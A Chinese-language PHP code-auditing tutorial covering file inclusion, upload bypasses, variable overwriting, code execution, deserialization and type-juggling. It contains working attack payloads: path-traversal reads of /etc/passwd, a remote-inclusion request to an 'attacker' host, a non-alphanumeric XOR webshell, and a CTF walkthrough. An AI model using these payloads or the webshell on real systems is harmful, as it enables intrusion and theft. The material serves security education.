1. 程式人生 > 其它 >PHP 程式碼審計

PHP 程式碼審計

PHP 程式碼審計

檔案包含

常見的導致檔案包含的函式有:

  • PHP:include()include_once()require()require_once()fopen()readfile()
  • JSP Servlet:ava.io.File()java.io.FileReader()
  • ASP:includefileincludevirtual

當 PHP 包含一個檔案時,會將該檔案當做 PHP 程式碼執行,而不會在意檔案時什麼型別。

本地檔案包含

本地檔案包含,Local File Inclusion,LFI。

<?php
$file = $_GET['file'];
if (file_exists('/home/wwwrun/'.$file.'.php')) {
  include '/home/wwwrun/'.$file.'.php';
}
?>

上述程式碼存在本地檔案包含,可用 %00 截斷的方式讀取 /etc/passwd 檔案內容。

  • %00 截斷
?file=../../../../../../../../../etc/passwd%00

需要 magic_quotes_gpc=off,PHP 小於 5.3.4 有效。

  • 路徑長度截斷
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

Linux 需要檔名長於 4096,Windows 需要長於 256。

  • 點號截斷
?file=../../../../../../../../../boot.ini/………[…]…………

只適用 Windows,點號需要長於 256。

遠端檔案包含

遠端檔案包含,Remote File Inclusion,RFI。

<?php
if ($route == "share") {
  require_once $basePath . "/action/m_share.php";
} elseif ($route == "sharelink") {
  require_once $basePath . "/action/m_sharelink.php";
}

構造變數 basePath 的值。

/?basePath=http://attacker/phpshell.txt?

最終的程式碼執行了

require_once "http://attacker/phpshell.txt?/action/m_share.php";

問號後的部分被解釋為 URL 的 querystring,這也是一種「截斷」。

  • 普通遠端檔案包含
?file=[http|https|ftp]://example.com/shell.txt

需要 allow_url_fopen=On 並且 allow_url_include=On

  • 利用 PHP 流 input
?file=php://input

需要 allow_url_include=On

  • 利用 PHP 流 filter
?file=php://filter/convert.base64-encode/resource=index.php

需要 allow_url_include=On

  • 利用 data URIs
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

需要 allow_url_include=On

  • 利用 XSS 執行
?file=http://127.0.0.1/path/xss.php?xss=phpcode

需要 allow_url_fopen=Onallow_url_include=On 並且防火牆或者白名單不允許訪問外網時,先在同站點找一個 XSS 漏洞,包含這個頁面,就可以注入惡意程式碼了。

檔案上傳

檔案上傳漏洞是指使用者上傳了一個可執行指令碼檔案,並通過此檔案獲得了執行服器端命令的能力。在大多數情況下,檔案上傳漏洞一般是指上傳 WEB 指令碼能夠被伺服器解析的問題,也就是所謂的 webshell 問題。完成這一攻擊需要這樣幾個條件,一是上傳的檔案能夠被 WEB 容器執行,其次使用者能從 WEB 上訪問這個檔案,最後,如果上傳的檔案被安全檢查、格式化、圖片壓縮等功能改變了內容,則可能導致攻擊失敗。

繞過上傳檢查

  • 前端檢查副檔名

抓包繞過即可。

  • Content-Type 檢測檔案型別

抓包修改 Content-Type 型別,使其符合白名單規則。

  • 服務端新增字尾

嘗試 %00 截斷。

  • 服務端副檔名檢測

利用解析漏洞。

  • Apache 解析

Apache 對字尾解析是從右向左的

phpshell.php.rar.rar.rar.rar 因為 Apache 不認識 .rar 這個檔案型別,所以會一直遍歷字尾到 .php,然後認為這是一個 PHP 檔案。

  • IIS 解析

IIS 6 下當檔名為 abc.asp;xx.jpg 時,會將其解析為 abc.asp

  • PHP CGI 路徑解析

當訪問 http://www.a.com/path/test.jpg/notexist.php 時,會將 test.jpg 當做 PHP 解析, notexist.php 是不存在的檔案。此時 Nginx 的配置如下

location ~ \.php$ {
  root html;
  fastcgi_pass 127.0.0.1:9000;
  fastcgi_index index.php;
  fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
  include fastcgi_param;
}
  • 其他方式

字尾大小寫、雙寫、特殊字尾如 php5 等,修改包內容的大小寫過 WAF 等。

變數覆蓋

全域性變數覆蓋

變數如果未被初始化,且能夠被使用者所控制,那麼很可能會導致安全問題。

register_globals=ON

示例

<?php
echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";

if ($auth) {
  echo "private!";
}
?>

register_globals=ON 時,提交 test.php?auth=1auth 變數將自動得到賦值。

extract() 變數覆蓋

extract() 函式能夠將變數從陣列匯入到當前的符號表,其定義為

int extract ( array $var_array [, int $extract_type [, string $prefix ]] )

其中,第二個引數指定函式將變數匯入符號表時的行為,最常見的兩個值是 EXTR_OVERWRITEEXTR_SKIP

當值為 EXTR_OVERWRITE 時,在將變數匯入符號表的過程中,如果變數名發生衝突,則覆蓋所有變數;值為 EXTR_SKIP 則表示跳過不覆蓋。若第二個引數未指定,則在預設情況下使用 EXTR_OVERWRITE

<?php
$auth = "0";
extract($_GET);

if ($auth == 1) {
  echo "private!";
} else {
  echo "public!";
}
?>

extract() 函式從使用者可以控制的陣列中匯出變數時,可能發生變數覆蓋。

import_request_variables 變數覆蓋

bool import_request_variables (string $types [, string $prefix])

import_request_variables 將 GET、POST、Cookies 中的變數匯入到全域性,使用這個函式只用簡單地指定型別即可。

<?php
$auth = "0";
import_request_variables("G");
,,,
if ($auth == 1) {
  echo "private!";
} else {
  echo "public!";
}
?>

import_request_variables("G") 指定匯入 GET 請求中的變數,提交 test.php?auth=1 出現變數覆蓋。

parse_str() 變數覆蓋

void parse_str ( string $str [, array &$arr ])

parse_str() 函式通常用於解析 URL 中的 querystring,但是當引數值可以被使用者控制時,很可能導致變數覆蓋。

// var.php?var=new  變數覆蓋
$var = "init";
parse_str($_SERVER["QUERY_STRING"]);
print $var;

parse_str() 類似的函式還有 mb_parse_str()

命令執行

直接執行程式碼

PHP 中有不少可以直接執行程式碼的函式。

eval();
assert();
system();
exec();
shell_exec();
passthru();
escapeshellcmd();
pcntl_exec();
......

preg_replace() 程式碼執行

preg_replace() 的第一個引數如果存在 /e 模式修飾符,則允許程式碼執行。

<?php
$var = "<tag>phpinfo()</tag>";
preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var);
?>

如果沒有 /e 修飾符,可以嘗試 %00 截斷。

preg_match 程式碼執行

preg_match 執行的是匹配正則表示式,如果匹配成功,則允許程式碼執行。

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

這道題是 xman 訓練賽的時候,梅子酒師傅出的一道題。這一串程式碼描述是這樣子,我們要繞過 A-Za-z0-9 這些常規數字、字母字串的傳參,將非字母、數字的字元經過各種變換,最後能構造出 a-z 中任意一個字元,並且字串長度小於 40 。然後再利用 PHP 允許動態函式執行的特點,拼接出一個函式名,這裡我們是 getFlag,然後動態執行該程式碼即可。

那麼,我們需要考慮的問題是如何通過各種變換,使得我們能夠去成功讀取到 getFlag 函式,然後拿到 webshell

在理解這個之前,我們首先需要大家瞭解的是 PHP 中異或 ^ 的概念。

我們先看一下下面這段程式碼:

<?php
    echo "A"^"?";
?>

執行結果如下:

我們可以看到,輸出的結果是字元 ~。之所以會得到這樣的結果,是因為程式碼中對字元 A 和字元 ? 進行了異或操作。在 PHP 中,兩個變數進行異或時,先會將字串轉換成 ASCII 值,再將 ASCII 值轉換成二進位制再進行異或,異或完,又將結果從二進位制轉換成了 ASCII 值,再將 ASCII 值轉換成字串。異或操作有時也被用來交換兩個變數的值。

比如像上面這個例子

A` 的 `ASCII` 值是 `65` ,對應的二進位制值是 `01000001
?` 的 ASCII 值是 `63` ,對應的二進位制值是 `00111111

異或的二進位制的值是 ‭01111110‬ ,對應的 ASCII 值是 126 ,對應的字串的值就是 ~

我們都知道, PHP 是弱型別的語言,也就是說在 PHP 中我們可以不預先宣告變數的型別,而直接宣告一個變數並進行初始化或賦值操作。正是由於 PHP 弱型別的這個特點,我們對 PHP 的變數型別進行隱式的轉換,並利用這個特點進行一些非常規的操作。如將整型轉換成字串型,將布林型當作整型,或者將字串當作函式來處理,下面我們來看一段程式碼:

<?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

程式碼執行結果如下:

我們一起來分析一下上面這段程式碼:

1、$_++; 這行程式碼的意思是對變數名為 "_" 的變數進行自增操作,在 PHP 中未定義的變數預設值 nullnull==false==0 ,我們可以在不使用任何數字的情況下,通過對未定義變數的自增操作來得到一個數字。

2、$__="?" ^ "}"; 對字元 ?} 進行異或運算,得到結果 B 賦給變數名為 __ (兩個下劃線) 的變數

3、$ __ (); 通過上面的賦值操作,變數 $__ 的值為 B ,所以這行可以看作是 B() ,在 PHP 中,這行程式碼表示呼叫函式 B ,所以執行結果為 Hello Angel_Kitty 。在 PHP 中,我們可以將字串當作函式來處理。

看到這裡,相信大家如果再看到類似的 PHP 後門應該不會那麼迷惑了,你可以通過一句句的分析後門程式碼來理解後門想實現的功能。

我們希望使用這種後門建立一些可以繞過檢測的並且對我們有用的字串,如 _POSTsystemcall_user_func_array,或者是任何我們需要的東西。

下面是個非常簡單的非數字字母的 PHP 後門:

<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

在這裡我說明下, .= 是字串的連線,具體參看 PHP 語法

我們甚至可以將上面的程式碼合併為一行,從而使程式的可讀性更差,程式碼如下:

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

我們回到 xman 訓練賽的那題來看,我們的想法是通過構造異或來去繞過那串字元,那麼我們該如何構造這個字串使得長度小於 40 呢?

我們最終是要讀取到那個 getFlag 函式,我們需要構造一個 _GET 來去讀取這個函式,我們最終構造瞭如下字串:

可能很多小夥伴看到這裡仍然無法理解這段字串是如何構造的吧,我們就對這段字串進行段分析。

構造 _GET 讀取

首先我們得知道 _GET 由什麼異或而來的,經過我的嘗試與分析,我得出了下面的結論:

<?php
    echo "`{{{"^"?<>/";//_GET
?>

這段程式碼一大坨是啥意思呢?因為 40 個字元長度的限制,導致以前逐個字元異或拼接的 webshell 不能使用。
這裡可以使用 php 中可以執行命令的反引號 `` 和 Linux下面的萬用字元 ?`

  • ? 代表匹配一個字元
  • `` `表示執行命令
  • " 對特殊字串進行解析

由於 ? 只能匹配一個字元,這種寫法的意思是迴圈呼叫,分別匹配。我們將其進行分解來看:

<?php
    echo "{"^"<";
?>

輸出結果為:

<?php
    echo "{"^">";
?>

輸出結果為:

<?php
    echo "{"^"/";
?>

輸出結果為:

所以我們可以知道, _GET 就是這麼被構造出來的啦!

獲取 _GET 引數

我們又該如何獲取 _GET 引數呢?咱們可以構造出如下字串:

<?php
    echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__])
?>

根據前面構造的來看, $_ 已經變成了 _GET 。順理成章的來講, $_ = _GET 。我們構建 $_GET[__] 是為了要獲取引數值。

傳入引數

此時我們只需要去呼叫 getFlag 函式獲取 webshell 就好了,構造如下:

<?php
    echo $_=getFlag;//getFlag
?>

所以把引數全部連線起來,就可以了。

結果如下:

於是我們就成功地讀取到了 flag!

動態函式執行

使用者自定義的函式可以導致程式碼執行。

<?php
$dyn_func = $_GET["dyn_func"];
$argument = $_GET["argument"];
$dyn_func($argument);
?>

反引號命令執行

<?php
echo `ls -al`;
?>

Curly Syntax

PHP 的 Curly Syntax 也能導致程式碼執行,它將執行花括號間的程式碼,並將結果替換回去。

<?php
$var = "aaabbbccc ${`ls`}";
?>
<?php
$foobar = "phpinfo";
${"foobar"}();
?>

回撥函式

很多函式都可以執行回撥函式,當回撥函式使用者可控時,將導致程式碼執行。

<?php
$evil_callback = $_GET["callback"];
$some_array = array(0,1,2,3);
$new_array = array_map($evil_callback, $some_array);
?>

攻擊 payload

http://www.a.com/index.php?callback=phpinfo

反序列化

如果 unserialize() 在執行時定義了 __destruct()__wakeup() 函式,則有可能導致程式碼執行。

<?php
class Example {
  var $var = "";
  function __destruct() {
    eval($this->var);
  }
}
unserialize($_GET["saved_code"]);
?>

攻擊 payload

http://www.a.com/index.php?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

PHP 特性

陣列

<?php
$var = 1;
$var = array();
$var = "string";
?>

php 不會嚴格檢驗傳入的變數型別,也可以將變數自由的轉換型別。

比如在 $a == $b 的比較中

$a = null; 
$b = false; //為真 
$a = ''; 
$b = 0; //同樣為真

然而,PHP 核心的開發者原本是想讓程式設計師藉由這種不需要宣告的體系,更加高效的開發,所以在幾乎所有內建函式以及基本結構中使用了很多鬆散的比較和轉換,防止程式中的變數因為程式設計師的不規範而頻繁的報錯,然而這卻帶來了安全問題。

0=='0' //true
0 == 'abcdefg' //true
0 === 'abcdefg' //false
1 == '1abcdef' //true

魔法 Hash

"0e132456789"=="0e7124511451155" //true
"0e123456abc"=="0e1dddada" //false
"0e1abc"=="0"  //true

在進行比較運算時,如果遇到了 0e\d+ 這種字串,就會將這種字串解析為科學計數法。所以上面例子中 2 個數的值都是 0 因而就相等了。如果不滿足 0e\d+ 這種模式就不會相等。

十六進位制轉換

"0x1e240"=="123456" //true
"0x1e240"==123456 //true
"0x1e240"=="1e240" //false

當其中的一個字串是 0x 開頭的時候,PHP 會將此字串解析成為十進位制然後再進行比較,0x1240 解析成為十進位制就是 123456,所以與 int 型別和 string 型別的 123456 比較都是相等。

型別轉換

常見的轉換主要就是 int 轉換為 stringstring 轉換為 int

int` 轉 `string
$var = 5;
方式1:$item = (string)$var;
方式2:$item = strval($var);

stringintintval() 函式。

對於這個函式,可以先看 2 個例子。

var_dump(intval('2')) //2
var_dump(intval('3abcd')) //3
var_dump(intval('abcd')) //0

說明 intval() 轉換的時候,會從字串的開始進行轉換直到遇到一個非數字的字元。即使出現無法轉換的字串, intval() 不會報錯而是返回 0。

同時,程式設計師在程式設計的時候也不應該使用如下的這段程式碼:

if(intval($a)>1000) {
 mysql_query("select * from news where id=".$a)
}

這個時候 $a 的值有可能是 1002 union

內建函式的引數的鬆散性

內建函式的鬆散性說的是,呼叫函式時給函式傳遞函式無法接受的引數型別。解釋起來有點拗口,還是直接通過實際的例子來說明問題,下面會重點介紹幾個這種函式。

md5()

$array1[] = array(
 "foo" => "bar",
 "bar" => "foo",
);
$array2 = array("foo", "bar", "hello", "world");
var_dump(md5($array1)==md5($array2)); //true

PHP 手冊中的 md5()函式的描述是 string md5 ( string $str [, bool $raw_output = false ] )md5() 中的需要是一個 string 型別的引數。但是當你傳遞一個 array 時,md5() 不會報錯,只是會無法正確地求出 array 的 md5 值,這樣就會導致任意 2 個 array 的 md5 值都會相等。

strcmp()

strcmp() 函式在 PHP 官方手冊中的描述是 intstrcmp ( string $str1 , string $str2 ),需要給 strcmp() 傳遞 2 個 string 型別的引數。如果 str1 小於 str2,返回 -1,相等返回 0,否則返回 1。strcmp() 函式比較字串的本質是將兩個變數轉換為 ASCII,然後進行減法運算,然後根據運算結果來決定返回值。

如果傳入給出 strcmp() 的引數是數字呢?

$array=[1,2,3];
var_dump(strcmp($array,'123')); //null,在某種意義上null也就是相當於false。

switch()

如果 switch() 是數字型別的 case 的判斷時,switch 會將其中的引數轉換為 int 型別。如下:

$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
 echo "i is less than 3 but not negative";
 break;
case 3:
 echo "i is 3";
}

這個時候程式輸出的是 i is less than 3 but not negative ,是由於 switch() 函式將 $i 進行了型別轉換,轉換結果為 2。

in_array()

在 PHP 手冊中, in_array() 函式的解釋是 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) , 如果 strict 引數沒有提供,那麼 in_array 就會使用鬆散比較來判斷 $needle 是否在 $haystack 中。當 strict 的值為 true 時, in_array() 會比較 needls 的型別和 haystack 中的型別是否相同。

$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); //true
var_dump(in_array('1bc', $array)); //true

可以看到上面的情況返回的都是 true,因為 'abc' 會轉換為 0, '1bc' 轉換為 1。

array_search()in_array() 也是一樣的問題。